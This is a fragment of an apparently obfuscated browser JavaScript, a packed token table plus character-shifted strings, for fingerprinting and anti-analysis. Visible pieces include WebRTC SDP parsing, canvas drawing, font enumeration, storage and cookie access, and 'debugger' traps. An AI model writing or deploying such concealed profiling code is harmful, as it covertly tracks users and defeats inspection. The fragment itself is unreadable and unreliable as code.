ÿ[68]],\'`\');var ÿ(78,ÿ(555,ÿ[280]](0)!==ÿ[414],ÿ[2];if( typeof ÿ[540]](ÿ[75]]((ÿ= typeof ÿ=2;}else{ÿ++ ;}else if(ÿ[49]];var ÿ[4]](\'r\')===\'m\'){ÿ[711]].sdp,\'\\n\');ÿ(\'\"\'+ÿ[8]].concat[ÿ[573]][ÿ.length>10){ÿ[7]){var ÿ[579]]===ÿ[62]||ÿ<128)return(ÿ[535]](ÿ[83]){ÿ[214]](ÿ>>5)&0x07ffffff))+ÿ||0;if(ÿ=false;}if(ÿ]){ÿ[427]];ÿ-1);}function ÿ(23,ÿ=null;if( !this.ÿ.length-1];ÿ=\'src\';var ÿ>3){return ÿ>=8&& !ÿ.push(\" \"+ÿ,\'src\',ÿ[12]]([],ÿ[9]](0);ÿ-1;ÿ+\'\"\');var ÿ[80])!= -1)||ÿ++ ;}}}ÿ+=11;ÿ[191]]&&ÿ<8;ÿ++ ;}ÿ^=ÿ[708],ÿ(){return new ÿ.length===16;ÿ[377]],ÿ[61]];ÿ&3)<<4)|(ÿ)));ÿ)<<2);ÿ[7])return(ÿ=3;var ÿ[373],ÿ[92]](\"a\");ÿ[48]]+ÿ!== -1){ÿ[430]]=ÿ[18]){var ÿ]&&ÿ);}}else{var ÿ<100&& !(ÿ[163]&&ÿ.pop();if(ÿ[0]===\'$\'&&ÿ&& !this.ÿ[689],ÿ>=48&&ÿ,new ÿ(1);ÿ);return;}else if(ÿ,\'src\')){var ÿ[256]]=ÿ=\'\';ÿ,0);function ÿ[3]){ÿ.length/ÿ>>16&255]<<16^ÿ[18])&&ÿ[656],ÿ[65]]()===false&&ÿ=3;if(ÿ));return ÿ(776,ÿ[97]]!=null){ÿ[1]);if( !(ÿ;switch(ÿ){return[(ÿ[82],ÿ[5]){var ÿ[58]){return ÿ(82);var ÿ[12]](this,arguments);}function ÿ[9]](0,ÿ.push(this.ÿ)|(ÿ,0);if(ÿ();}if( !ÿ.length>1){var ÿ,\'a\')&&ÿ[18]){ÿ[478]),ÿ[678]]=ÿ(780,ÿ,\'as\', -1);if(ÿ[164],ÿ[637]](ÿ[16])&&ÿ[317]]&&ÿ[714],ÿ[144]]){ÿ<=7)&&( typeof ÿ[244]);if(ÿ);this[ÿ[573]].length;ÿ+1);else if(ÿ[193]](ÿ[0]++ ;}else if(ÿ(false);ÿ<=9){var ÿ+10000;ÿ]);if( !ÿ++ ]<<16)|(ÿ]=\'b[\'+ÿ[608]]){ÿ===\'\')))&&ÿ[636]],ÿ[584],[],ÿ>>16&255]]^ÿ[92]](\'div\'),ÿ|=1073741824;if(ÿ.length-4;var ÿ)[ÿ[591],ÿ!==null&&( typeof ÿ[690]]();ÿ.join(\"/\");if(ÿ={\'\\b\':\'\\\\b\',\'\\t\':\'\\\\t\',\'\\n\':\'\\\\n\',\'\\f\':\'\\\\f\',\'\\r\':\'\\\\r\',\'\"\':\'\\\\\"\',\'\\\\\':ÿ[14]=ÿ[14];ÿ(69,\"<=\");default:return ÿ;return;}var ÿ[454]](ÿ[11]](0,0,ÿ[43]]=ÿ:\'\\\\u\'+ÿ[43]];ÿ[83]);if(ÿ[56]]){ÿ);}}else{ÿ=true;break;}}}ÿ[409]](\"x\"),ÿ();else{var ÿ[528]](ÿ[402]]||ÿ];}}return ÿ=\'abs\';ÿ=0xFE;var ÿ[678]](ÿ[399]]=ÿ=37;ÿ[546],ÿ[529];ÿ={\'tests\':3};if(ÿ(518);ÿ-4];if(ÿ[202]]=ÿ=6;var ÿ.length);}}function ÿ.canvas[ÿ[39]){if(ÿ[10];ÿ.length-1)&&(ÿ.length/4,ÿ[134]](ÿ[433]]){ÿ](arguments[0],arguments[1]);case 3:return ÿ(77,\"{\");case 125:ÿ);if(this.ÿ.length/4;for(ÿ[20];}else{}var ÿ>>>1));}ÿ(68,\">>>\");}default:return ÿ===1);if( !ÿ[201]]||ÿ());}}ÿ&&((ÿ[235]);this.ÿ[531],\"for\",ÿ[487]];this.y=ÿ[271]]);if(ÿ[361];}function ÿ[195])];ÿ();case 46:return ÿ.push){ÿ=true;}}return ÿ*86+165;}else if(ÿ[214]](\'2d\');ÿ[361]);}return;}}else{if(ÿ=\"1\"==ÿ,\'=\');ÿ[450]]&& !ÿ[148],ÿ().ÿ(69,\">\");}case 63:ÿ[369]],ÿ);break;case 70:if(ÿ&0x80)!==0)ÿ===\'on\'+ÿ===16;ÿ(747,6);ÿ[108];ÿ,\"*/\",ÿ[17]=ÿ[17];ÿ[218])){ÿ.length==0){return new ÿ-30;}ÿ[392]]&&ÿ(68,\">>\");}default:return ÿ+=4;}else if(ÿ[268]),ÿ];}catch(ÿ[40]);ÿ),2);ÿ[521]),ÿ){try{if( typeof ÿ,\"a\")){var ÿ[30]));ÿ<=50){ÿ[279]](ÿ[434]]!=ÿ[709]&&ÿ.length);return ÿ(75,\"^=\");default:return ÿ[24]){return ÿ(253,ÿ)||\'\';}function ÿ(264,0,360,ÿ=0x9E3779B9,ÿ[120],ÿ=1;}}for(ÿ();break;case 76:ÿ];}for(ÿ[13]]){ÿ[361]);}ÿ];for(ÿ[3]];}}if(ÿ+\'\"\')][ÿ[61]]);}if(ÿ[5]);if( !ÿ();break;case 4:ÿ);else return new ÿ[9]](4);}ÿ[694]);var ÿ>>6)];ÿ[367]]<2000){if(ÿ(30));var ÿ.top==null)return ÿ&0xFF00)>>8),(ÿ>=0){var ÿ[561],ÿ(144,1);}else if(ÿ[311]]=ÿ[509]]){ÿ[65]){ÿ[692])]){ÿ(26);ÿ(793));ÿ){}else if(ÿ[412]),ÿ[60]&& typeof arguments[2]===ÿ[353]){ÿ++ )]+80;}else if(ÿ[35]];}if(ÿ.localStorage[ÿ*2+1]=ÿ<0){ÿ[311]];ÿ});}ÿ()){this.ÿ(6);}ÿ,\'#\')){ÿ+1]^=ÿ(768,10);ÿ===78){ÿ))){var ÿ[204]]!=null)ÿ,100);ÿ());case 48:ÿ[171])){if(ÿ===null&&ÿ(768,7);}}if(ÿ>>2;ÿ[379]];return ÿ[111]]());ÿ[570]]=ÿ===4){ÿ=true;return;}var ÿ[375]]([ -.2, -.9,0,.4, -.26,0,0,.813264543,0]);ÿ,\'src\');ÿ(6)/4;}function ÿ[83]);var ÿ[0])+ÿ);}}}else{ÿ[6]](\'?\',ÿ[79])){var ÿ[311]](ÿ<=39){ÿ(20)+ÿ];if((ÿ.x==ÿ+\':\'+ÿ[365],ÿ[1]);}else if(ÿ(70,\"==\");}default:return ÿ(0,\"\",0,0,0,true));}function ÿ(146,134217728,36);ÿ[154])));}catch(ÿ=3337565984;for(ÿ));}return ÿ-- ;ÿ>>4)];ÿ/( ++ÿ[243];}var ÿ(){if(this.ÿ[1]);}return ÿ&15)<<4;ÿ=\'/\';var ÿdebugger;ÿ(28));ÿ.length/16)+1,ÿ(85));break;case 58:if(ÿ);}return new ÿ[688]in ÿ,\';\')!== -1)ÿ)));continue;}if(ÿ[247]](ÿ]()*ÿ[606]));ÿ[491]]();ÿ]&2)===2;return ÿ[297],\"for\",\"do\",ÿ[78]){return ÿ[69]](true);ÿ(\'a\',\'b\',\'c\',ÿ[126]);if(ÿ[49],\'img\',\'src\',ÿ[38]]!=null&&(ÿ[662],ÿ+1]&0x3F)<<6)|(ÿ[65],\"\");return;}}else if(ÿ(arguments[0]);}}function ÿ]^=(ÿ/1000)]);ÿ.length==0)return ÿ();case 43:ÿ(4096,ÿ>>>1)):(ÿ?6:7;ÿ+1));}}function ÿ(82,\":\");case 59:ÿ=1;}}if(( !ÿ.push){if(this.ÿ===true){return ÿ&0x0F)<<12)|((ÿ%64;var ÿ],16);if(ÿ[241]],ÿ+\"=\");}ÿ[34]](this.ÿ[63],1024*1024);}catch(ÿ[259]].length>=1){ÿ&255^99;ÿ[350]))||ÿ!==\'\'){if(ÿ();break;case 67:if(ÿ[59]]){ÿ.length>1){return(ÿ+=-19;ÿ(\'div\',\'a\',0);if(ÿ(\"/\");}function ÿ[512]]&& !ÿ=1;}ÿ[55],ÿ>>ÿ[0]]);else if(ÿ(585);ÿ= -1;if(ÿ[242]]=ÿ[157]],ÿ[97]]);}function ÿ);}else{var ÿ[0]){if(ÿ*3/4));var ÿ(\'=2){var ÿ|=1;ÿ[206]](ÿ(),null):ÿ[80])!= -1){ÿ[41]]){ÿ[720];}}ÿ=\"$_\"+this.ÿ=0;for(ÿ));}else{ÿ[0]){return;}ÿ[171]);}}function ÿ(144,24);}else if(ÿ[481])===0){var ÿ[6]](\'?\',0);for(ÿ(9)));}function ÿ[72]&& !(ÿ[8]].submit[ÿ<4*ÿ[0]=(ÿ,\" \");if(ÿ[118]]){try{ÿ;}try{if( typeof ÿ){case 34:case 39:return ÿ++ );}while((ÿ[211],ÿ){return false;}}ÿ].join(\'\');if(ÿ(70,\"!==\");default:return ÿ,0);if( !ÿ(634,ÿ-3]^ÿ[275],ÿ[69]](0);ÿ(11)+37;}function ÿ[684]], !1,0,0);ÿ[482]);if(this.ÿ[62]]);}}}}var ÿ[646]));}}function ÿ[63]]);var ÿ=unescape,ÿ[367]]=ÿ[288]));ÿ(\"?\");this.ÿ);while(null!=(ÿ[32]]!==1|| !ÿ]=\'c[\'+ÿ,true);}else if(ÿ[0][1]){ÿ+\'=\';var ÿ===81?null:ÿ&255];if(ÿ(531);ÿ[36]];var ÿ[22];var ÿ[368]];ÿ(666);ÿ];}}catch(ÿ]>=64){this.ÿ);break;case 56:ÿ[122]);ÿ[65]&&ÿ.join(\'\');}ÿ|=256;ÿ[428]);if(this.ÿ[143],\"new\",ÿ(146,134217728,31);ÿ[691]];var ÿ^( -1))>>>0;}function ÿ;}break;default:break;}ÿ[314]],ÿ===83||ÿ;case 47:ÿ[60]])&&( typeof ÿ[644]].length;ÿ===93){ÿ);break;case 66:if(ÿ++ ;}}}return ÿ];return[ÿ=\"\";}}function ÿ&0xFF;ÿ[5];ÿ+=-114;ÿ(60,\"~\");case 40:ÿ[302]](1));}function ÿ(146,134217728,39);ÿ[519]];ÿ[92]](\"div\");ÿ))){if(ÿ[556];ÿ+1)/2);ÿ===79&&ÿ[442]];var ÿ();case\"*\":ÿ.y)/(ÿ];return ÿ[643]]=ÿ[156]];this[ÿ[287]]))){return;}ÿ(){ ++ÿ[650]){if(ÿ[180];ÿ+1:ÿ[60]],ÿ[1]^ÿ[48];ÿ){return[true,ÿ===84)break;var ÿ();case 33:ÿ===\'img\'||ÿ],0);ÿ+2);ÿ[22]]===ÿ[685]+ÿ)[0],\'?\')[0];}else{ÿ+=1){ÿ[645];var ÿ=/^((?:[\\da-f]{1,4}(?::|)){0,8})(::)?((?:[\\da-f]{1,4}(?::|)){0,8})$/;ÿ.length%16!==0)ÿ&0xf0)===0xe0)return((ÿ[432]]){ÿ;else ÿ;}}else{return ÿ<=91)ÿ[658]],ÿ=0;}}function ÿ[24],ÿ[64]].x=1,ÿ(146,134217728,37);ÿ[599]](ÿ[63],ÿ=32;ÿ[96],ÿ[33]]=ÿ<0xE0;ÿ[650],ÿ(false,false));;ÿ[631],ÿ&2048;if(ÿ]= -1;}for(ÿ[46]]=0;ÿ[7]&&(ÿ<=255;ÿ[3]],\'#\')[1];if(ÿ[23]];var ÿ=[\'top\',ÿ[327]]===\'\';ÿ[168],ÿ[572],ÿ.join(\'&\');}else{return ÿ/1.164+1));var ÿ<0xf8){ÿ,\'.\');ÿ[22]],ÿ+=2){var ÿ[1]);}}else{ÿ=true;}return ÿ=\'//\';var ÿ.length),1);else ÿ=18,ÿ[45]]();ÿ[394]+ÿ[294]](ÿ[387]](ÿ[661]];}catch(ÿ[0]]);ÿ.x&&ÿ);case 40:ÿ[280]],ÿ[205]);ÿ[18]];for(var ÿ=/[\\\\\\\"\\u0000-\\u001f\\u007f-\\u009f\\u00ad\\u0600-\\u0604\\u070f\\u17b4\\u17b5\\u200c-\\u200f\\u2028-\\u202f\\u2060-\\u206f\\ufeff\\ufff0-\\uffff]/g;var ÿ.pop();}}function ÿ[19]){if(ÿ?(new ÿ===true){var ÿ(\"set\");ÿ-1].y);if(ÿ(){return !ÿ[496]);ÿ=window,ÿ[143],\"&\",\"|\",\"^\",\"*\",\">>\",\"<\",\"==\",\"?\",\"&&\",\"||\",\"=\",\"+=\",\"[\",\"{\",\"(\",\",\",\".\",\";\",\":\",\"]\",\"}\",\")\"];var ÿ[227]),ÿ[3]]!==ÿ[477]]=ÿ[517],ÿ[602]]();if( !ÿ[693]](ÿ));}var ÿ;}try{var ÿ[623]])return ÿ[38]]);}else{return;}}return ÿ[160]))){ÿ+=\'&\';}else if(ÿ[71]){return ÿ[3]],\'?\')[0]+ÿ[204]);ÿ(),new ÿ.x)*(ÿ[65]))){return ÿ[3]];}if(ÿ++ )]-5440;}}function ÿ[139]))();ÿ(75,\"|=\");case 124:ÿ(144,22);}else if(ÿ+1)];}function ÿ.length){case 0:return ÿ)){return;}if( !ÿ[35]]===ÿ(768,5);ÿ,\'.\');var ÿ[153]]=ÿ(2048);}var ÿ[65]];}catch(ÿ(0xFFFFFFFF)];}function ÿ=0;try{ÿ-- ;}}else if(ÿ);return false;}ÿ===2)return false;return true;}function ÿ=\"=\";var ÿ[511]),ÿ[474]]=false;}function ÿ!==\'\')ÿ)&0xffffffff;ÿ){return false;}}}return true;}function ÿ)));var ÿ|=512;ÿ[24];if(ÿ[401]]){if( !ÿ())){ÿ[126]);ÿ||0;ÿ=[];if(ÿ[280]](ÿ||0,ÿ[625]],ÿ+1),ÿ[63]],ÿ|(ÿ[571]](\'on\'+ÿ[39]],\";\");var ÿ[671]];ÿ]+this.ÿ:0))/100.0);ÿ>>>8)^ÿ=\'4\';var ÿ[677]);if(ÿ*86*86+ÿ++ ;}for(var ÿ(0));ÿ>4)return ÿ-8]^ÿ[585]+ÿ(144,19);else ÿ===1)){if(ÿ(83,\"]\");case 123:ÿ]);}}else if(ÿ[135],ÿ(46)?(ÿ.length==3){ÿ[494]+ÿ[583])];ÿ(),true);}function ÿ>>>24)&0xFF,(ÿ);break;case 72:if(ÿ())ÿ(58,\"--\");case 61:ÿ[38]]&&ÿ[623]])ÿ[100]];ÿ[9]](0);}}function ÿ[156]],ÿ){}else{if(ÿ(65,\"|\");}case 126:ÿ(\".\");ÿ(\".\"):ÿ[24]];ÿ.length),1);var ÿ==\'+=\'){ÿ<=25){ÿ[24]){var ÿ[585]+(new ÿ[215]];else return ÿ===81)ÿ===false)ÿ,1)+ÿ]]+1;}}for(ÿ;try{ÿ===\'src\'){return(ÿ.length+2*4;ÿ[66]){return ÿ[9]](0, -1));}}catch(ÿ[417],ÿ.log(2)+0.5)|0xE0;ÿ[519]]||ÿ(81,\";\");case 91:ÿ[43]]==0){ÿ.x;ÿ[7]|| typeof ÿ,true);}catch(ÿ|=2097152;ÿ),true);}}if(ÿ[25]],ÿ[1])+\'-\',ÿ[438],\"--\",\"!\",\"~\",\"-\",\"in\",ÿ<60*1000;ÿ[10],\'\');}}catch(ÿ&1;if(ÿ[9]](0,16),ÿ,4);}ÿ.push(0);}while(ÿ[5]){if(ÿ=8,ÿ==\'a\'&&/^href|pathname|search|host|hostname|port|hash|protocol$/[ÿ++ ){try{new ÿ===58||ÿ[285];if(ÿ[717]];ÿ>40&&ÿ[353];if(ÿ[627],ÿ.onreadystatechange[ÿ=64){this.ÿ<=8)){if(ÿ.length==25){ÿ[532]))){ÿ.x:ÿ;return;}if(ÿ[68],ÿ;}for(var ÿ[299]]==200){}}}function ÿ){case ÿ[270]&&ÿ.length*4,ÿ(691);var ÿ=new Array(ÿ[495])&&ÿ[243],ÿ.length<1100;ÿ){try{if( !ÿ[224];for(ÿ;return new ÿ(146,134217728,40);ÿ[470]],ÿ[309],ÿ<7;ÿ+=\'#\'+ÿ[621])!== -1){ÿ,true);return ÿ[1]);}}}if(ÿ[596]]);ÿ[476]]);ÿ===\"-\"||this.ÿ.length>1&&ÿ.length;}else{ÿ+=83;ÿ[9];ÿ[96]);if(ÿ))[0];ÿ[219]];ÿ(32);if(ÿ[64]].length?ÿ)))ÿ.top===ÿ());function ÿ);}else{return;}ÿ<=80){return ÿ[61]){if(ÿ(144,1);if(ÿ[381]]&&((ÿ=[arguments[1],arguments[2],arguments[3]];ÿ&0x3f;ÿ[268])];for(var ÿ[653]),ÿ[542];ÿ-- ;return ÿ<<1)^7;else ÿ();}var ÿ,0)-68;for(var ÿ[633]){if(ÿ&0xf)<<24)|(ÿ[79]|| !ÿ)*65535/(ÿ|=262144;}ÿ*1000,ÿ[14]];if(ÿ[5]++ ;}}for(var ÿ))[ÿ,\'/\'+ÿ,\'&\');for(var ÿ,2);continue;}}ÿ){case 1:return ÿ[569]){ÿ||255;ÿ=\'&\'+ÿ(1)){ÿ[4];var ÿ)===0){return ÿ[388]))){ÿ();try{ÿ+=3;}else if(ÿ.length-1]);ÿ];}var ÿ)/100.0);ÿ(37)){ÿ.length-1];if( typeof ÿ+=2;}else if(ÿ[100]](ÿ[64]];}catch(ÿ[467]];ÿ[130]]||ÿ[389]](ÿ(144,16);}else if(ÿ.length==3){return new ÿ=1001,ÿ[8]].push;;;var ÿ=201,ÿ[677],ÿ[79],\"if\",\"in\",ÿ===1){var ÿ];else return ÿ(13);ÿ[55]){if(ÿ.push((ÿ:\'\';var ÿ<0xfc){ÿ[171]);if( !ÿ[340]&& !(ÿ){return null;}ÿ)|((ÿ?1:ÿ[68]];ÿ.abs,ÿ,0x7FF));ÿ[7]||ÿ[124]){return ÿ(\'a\',\'b\',ÿ/64);}return ÿ[393]]=ÿ[617]);var ÿ(75,\"%=\");default:return ÿ[568]].length;ÿ&0xffffffff,ÿ[183]]){ÿ].x:ÿ[2]++ ;}else if(ÿ;){if(ÿ,\"?\")[1];if( !ÿ].x,ÿ);return this.ÿ||1,ÿ+=\'-\';return ÿ==\'+=\')return ÿ<<=1;}ÿ&8))){ÿ[118]]){ÿ]=126;else ÿ[261],ÿ[636]]=3;ÿ[51]||ÿ){return;}if(ÿ(0x77359400);ÿ[339]))&&ÿ[440]]!==ÿ===84);}function ÿ[2].length>0;ÿ===\"get\"){ÿ[674],ÿ=false;for(var ÿ;case 38:ÿ[32],ÿ(498);ÿ[111]]()));ÿ,0)===\" \"){ÿ[1];}ÿ.length>0){var ÿ[281]]);}ÿ.join(\':\')));ÿ++ <ÿ);return false;}}function ÿ++ :ÿ===\"=\"||this.ÿ>>7)*283)^ÿ[20],arguments.callee);}function ÿ,\';\');if(ÿ++ );}while(48<=ÿ[22]];}else{ÿ++ ,ÿ.length));}}};function ÿ>93&&ÿ(15)-4;}function ÿ(0);}ÿ[32]]===11&& typeof ÿ++ ]^ÿ));}}return ÿ[608]]();}else if(ÿ[221]],ÿ[465]])return 201;return 203;}function ÿ[340]);var ÿ[699]],ÿ===false){var ÿ+2]&0x3F);ÿ[65]){if(ÿ[65]);ÿ[249],ÿ(),(ÿ)){try{var ÿ<8; ++ÿ, ++ÿ[711]]){ÿ>1){for(var ÿ)===true){ÿ[409]](ÿ(25);ÿ){case 1:ÿ[0],unique:false});}function ÿ<=0||ÿ[518]))in ÿ(){return((ÿ=3;return ÿ[445]],ÿ[601]](ÿtry{for(ÿ.safari[ÿ<<24;ÿ===48){ÿ[657]&& !ÿ!==\"js\"){ÿ<=4||ÿ[543],ÿ[38]]);ÿ=encodeURIComponent,ÿ[31]]()));ÿ[698]](ÿ(){return\"\";}function ÿ[334]]=ÿ[491]]=ÿ();case 46:ÿ[131]]=ÿ();for(var ÿ[333],ÿ[2])+ÿ,\'a\')&&(ÿ[26]];var ÿ[167]))||ÿ[366]){if(ÿ[608]]=ÿ===93)ÿ&1)){if( typeof arguments[2]===ÿ=null;}}catch(ÿ(true);ÿ!==79)break;ÿ=\"\";var ÿ===\'=\'&&ÿ[46]]==4){if(ÿ,true));break;case 78:ÿ(31));var ÿ[10]);ÿ];}}}function ÿ.push(0x80);for(ÿ[12];ÿ;}else{return;}}}function ÿ&4)){if(ÿ=1;return ÿ[646]){var ÿ[472]]=ÿ(69,\"<\");}case 61:ÿ++ ;}}return ÿ[225])!== -1||ÿ===null){return;}var ÿ[356],ÿ);}else{return;}}catch(ÿ[7]&&ÿ]&0xFF);}ÿ){case 2:ÿ[44]];if(ÿ[56]];ÿ<9){}else{for(var ÿ[83]){var ÿ,\'y\',ÿ){return 0;}if(ÿ[163]){ÿ++ ;}return ÿ(\'o~q}u`euf3ffdyrgfu`fkbu`xduv`wuf3ffdyrgfu`qsfya~`sq||`efdy~w`bdafafkbu`e|ysu`$_vb~W`eb|ysu`qbb|k`3sfyhuJArzusf`dueg|f`sxqd5atu3f`rgffa~`eu~t`vad}`ratk`}ageu}ahu`xqeAi~Bdabudfk`xaef~q}u`|asqfya~`abu~`eb|yf`euf;~fudhq|`xffbe,`s|ys{`sa~sqf`}ufxat`faEfdy~w`~atuFkbu`adywy~`v|aad`badf`$_~t`:F?>9u~udys7|u}u~f`fqw@q}u`saa{yu`$_8ad}7|u}u~f`hyeyry|yfk`qbbu~t5xy|t`qtt7hu~f>yefu~ud`y~tujut64`esdybf`a~duqtkefqfusxq~wu`uhq|`y~~ud:F?>`hq|gu`7{sB`|asq|Efadqwu`a~egr}yf`arzusf`bdafasa|`sa~fu~f`s|a~u@atu`y~tujAv`qeeyw~`idyfu`tasg}u~f`du}ahu7hu~f>yefu~ud`dag~t`efk|u`$_hh5;`dub|qsu`vg~sfya~`?ysda?ueeu~wud`geud3wu~f`ixy|u`a~s|ys{`y~bgf`suy|`?qfx`xyttu~`fqdwuf`|aqt`}rezmkexsv`~g}rud`sduqfu7|u}u~f`wuf7|u}u~fe4kFqw@q}u`wuf7|u}u~f4k;t`qffqsx7hu~f`$_vxV`s|yu~f6qfq`egr}yf`fy}uEfq}b`va~fe`A~|k a~u hqdyqr|u tus|qdqfya~ q||aiut y~ vadTTy~ |aab`fdq~eyu~f`qdyfk`tyeqr|ut`fkbuav`sxqdeuf`egbud`|u~wfx`#v*X`?ej}|XTJ?>:FFBTYTV`fa6qfqGD>`asd_dtkfigDsddqqmujgnh`qbb|ysqfya~5qsxu`}g|fybqdfUvad}Stqfq`hqd wuf3ffdyrgfu/vg~sfya~N~q}uOmdufgd~ sgd_u|uTwuf3ffdyrgfuN~q}uO-o-`qffdyrgfue`Marzusf 3ddqk]`bgex@afyvysqfya~`hayt`F=_EFD;@9`VVVV`qffdHudfuj`bgr|ys`efabBdabqwqfya~`l_,zcze~ld_VQR_+zxfiyzi9_jzcze~ld9xvcc,zcze~ld`$_vV`xqex`su||g|qd`8EE44`qssu|udqfya~`fdq~evud5xq~~u|`~7hdo5od|hu`fdgu`sduqfuArzusfEfadu`?ej}|XTJ?>:FFBT[TV`du}ahu3ffdyrgfu`b|gwy~e`o__vf{jwf_wjs~ishw6__kwtvf{jwf_wjs~ishw6__gw~wb{ia_wjs~ishw6__xlvf{jwf_wjs~ishw6__vf{jwf_ibkfsddwv6__kwtvf{jwf_ibkfsddwv6__gw~wb{ia_ibkfsddwv6__xlvf{jwf_ibkfsddwv6__kwtvf{jwf_guf{dh_xibu6__kwtvf{jwf_guf{dh_xb`fdkmdufgd~ Niy~tai y~efq~suav Iy~taiO-osqfsxNuOmo`?ej}|XTEudhudJ?>:FFB`sa|ad6ubfx`fWY/ebisbqf~|N3f}bq|k ,|~efkb 4kfNVllig|wwN5boa|k|N[bisbqf~| -brb +3 /ol FH 3efkNq|elj|N+Z 2j|oq_[ qbpq 1bdri|oNW(-/ol@ifdeqN[bisbqf~| +3 GF +fdeq XuqbkabaN[bisb,_(kaf|N2XV1l}lql+fdeq UliaN.1 ,le|kqv 4kf~lab 1bdri|oNWolfa 2|kp 3e|fN*|kk|a| 2|kd|j ,-NWWV 4~ebkN~il~hECDI_sDADN2|jprkd*|kk|a|1bdri|oN,( +T-3(-Z UliaN2|jprkd2|kp-rjF+ +fdeqNsboa|k|N[bisbqf~|-brb3efkN2XVY|ii}|~hN2|jprkdXjlgfN3birdr 2|kd|j ,-NV|oolfp Zlqef~ 2VNYivjb +fdeq 1l}lql +fdeqN2l,T@Wfdfq +fdeqN2l,V 2|kp 1bdri|oN[87f8r|k)NppqNp|jprkd@p|kp@krjG3Ndj_jbkdjbkdN+lefq *|kk|a|Nqfjbp kbt olj|kNp|jprkd@p|kp@krjG+Npbofc@jlklpm|~bN2|jprkd2|kp-rj@F3 3efkNVlilo.24(@73efkNWolfa -|phe 2efcq TiqN2|jprkd3birdr1bdri|oNUbkd|if .32N,( +|k3fkd_ZU .rqpfab 82NY9,f|l6r_ZUDKCFCNebisb@kbrb@obdri|oN223 ,bafrjNVlrofbo -btN*ejbo ,lkarihfof UliaN[bisbqf~| +3 EF 4iqo| +fdeq XuqbkabaN[bisbqf~| +3 EH 4iqo| +fdeqN1l}lql ,bafrjNWolfa 2|kp UliaNdlravNp|kp@pbofc@~lkabkpba@ifdeqN2YfkaboNklql@p|kp@~gh@jbafrjNjfrfN,1l~hv /1V UliaNTkaolfaVil~h 1bdri|oN2|jprkd2|kp-rj@G+ +fdeqNp|kp@pbofc@qefkNT|/|kd8|boN~|pr|iNU- ,le|kqv.3 UliaNu@ppqN-lql2|kp,v|kj|o9|tdvfN[bisbqf~| +3 FF 3efk XuqbkabaNTpeibv2~ofmq,3 TiqN-lql 2|kp Wbs|k|d|of 4(N1l}lql Vlkabkpba UliaN1l}lql ,bafrj (q|if~NjfrfbuN-lql 2|kp Zrojrhef 4(N223 5fbqk|jbpb +fdeqN+Z_.ofv|Nev~lccbbNu@ppq@riqo|ifdeqNWY[bfT6J@TNY9967U3.3_4kf~labNWbs|k|d|of 2|kd|j ,- UliaNp|kp@pbofc@jlklpm|~bN/|a|rh Ullh UliaN+Z@Y98fkdUf*|f2er@2DH@5EAEN+Z@Y98fkdUf*|f2er@2DH@5EAFN[bisbqf~|-brb+3 /ol FH 3eN,f~olplcq [fj|i|v|N2|jprkd2|kpY|ii}|~hN223 ,bafrj (q|if~NTkaolfaXjlgfN2|jprkd2|kp-rj@F1N(3V 2qlkb 2bofcNp|kp@pbofc@pj|ii~|mpNu@ppq@jbafrjN+Z_2fke|ibpbN1l}lql 3efk (q|if~N~bkqrov@dlqef~NVil~hlmf|N+rjfklrp_2|kpNYilofaf|k 2~ofmq TiqN-lql 2|kp Zrojrhef UliaN+3[829* UliaNZ2_3e|fN2|jprkd-bl-rj_F3_ENTo|}f~Ne|kp@p|kp@kloj|iN+lefq 3birdrN[80f[bf@HC2 +fdeqN+fkapbv clo 2|jprkdNT1 Vovpq|iebf WUN2|jprkd 2|kp ,bafrjNp|jprkd@p|kp@krjGHNe|kp@p|kp@}liaN+rjfklrp_2~ofmqN223 VlkabkpbaN2|jprkdWbs|k|d|of1bdri|oNTkg|i ,|i|v|i|j ,-N2|jprkd3e|f;qbpq:FFB`v@p:zm3tww3z}xAzzwM@zrzb:~p`~qfyhu`wq}}q`wufFy}ula~uAvveuf`tqfqeSfe`__a~|aqt__`g5+.h{uan@-U6`zresxu}u,UUcgugu_xqe_}ueeqwu`eufFy}u`yfu}`?76;G?_8>A3F`_r|q~{`v|aqf`#W)u`ujfu~te`v__dpmo}tcp}_~n}t{a_qy`Ducguef`?ej}|XTEudhudJ?>:FFBTYTV`s|yu~f;~vad}qfya~`fxu~`?EBay~fud7hu~f`B|uqeu u~qr|u saa{yu y~ kagd rdaieud ruvadu kag sa~fy~guT`sqbfgduEfqs{Fdqsu`pOrivRtbaSrirRagvewrtv5{vfzba`:F?>Arzusf7|u}u~f`EF3F;5_6D3I`qsae`ujfud~q|`yixxtqki|qwvMbK{pwksai~mKnti{p`dufgd~ ~ui qN`3~q|keud@atu`}al5a~~usfya~`dqtya`EufDucguef:uqtud`DF5Buud5a~~usfya~`a~gbwdqtu~uutut`bqdeu;~f`sq~hqe`15E/`g~uesqbu`- Eusgdu`w|arq|Efadqwu`?ej}|XTJ?>:FFB`p[vr}+zuvb7[vr}+zuvb1g~2 Jtgziv- Lbageb} 1<;6szg2`?ysdaeavfTJ?>:FFBTWTV`sqfsx`Budvad}q~suAreudhud`wuf5a~fujf`tuvqg|fBduhu~fut`avveufFab`sa~fqy~e`tqfq,`$r_b|qfvad}`xffbe,UU`:;9:_;@F`arzusfEfadu@q}ue`fxye`skwjg?43tl4xl_<508<,_`rweag~t`y7wd+xxmizivkm`baeyfya~`sqeu`b6lzqfE[fufdujpo`fagsxu~t`duvduex`$r}8VqJL|D}|HkG:<`bdab`|qef;~tujAv`sq||rqs{`~g||`G~u~s|aeut efdy~wT`t@dvpxCvzrQ@dvpxCvzr`rD~v~f`wuf3ffdyr>asqfya~`uvf`{c\\\\yF\\\\Ctgzo|k iujk\\\\]\\\\yFe`bqdeu`tqfq`$_vd`bqs{qwu`daie`ArzusfT;~zusfutEsdybfTuhq|gqfu`abu~ud`}ageugb`exu~zyq~`turgwwud`ufxud~uf`$_s6da`F7?BAD3DK`mmyvxh}lyh`dub|qsu5xy|t`BAEF`~g};fu}e`sqbfgdu`tasg}u~fSvdqw}u~f`va~f`vydef5xy|t`vda}5xqd5atu`iur{yf;~tujut64`Bay~fud7hu~f`iur{yfDucguef8y|uEkefu}`sxqd3f`tuesdybfya~`pfcz_ybb|vu5~bmJaz~rgzba(greg)z~v5~bmRauvkvuMK5~bm[vdhvfgJaz~rgzbaOer~v`wuf4qffudk`{;?+zrJ;?+zr`qrea|gfu`dueba~euFujf`saa{yu7~qr|ut`mdyjifuhayh8__di8__diMffydx,ynj8ye/yvNhemiyh`vy~q|`bdu|aqt`=ukraqdt`r|gufaafx`sq~su|4grr|u`ujusEsdybf`fdkmdufgd~ __vy|u~q}u-osqfsxNuOmo`hqd sgd_u|u / 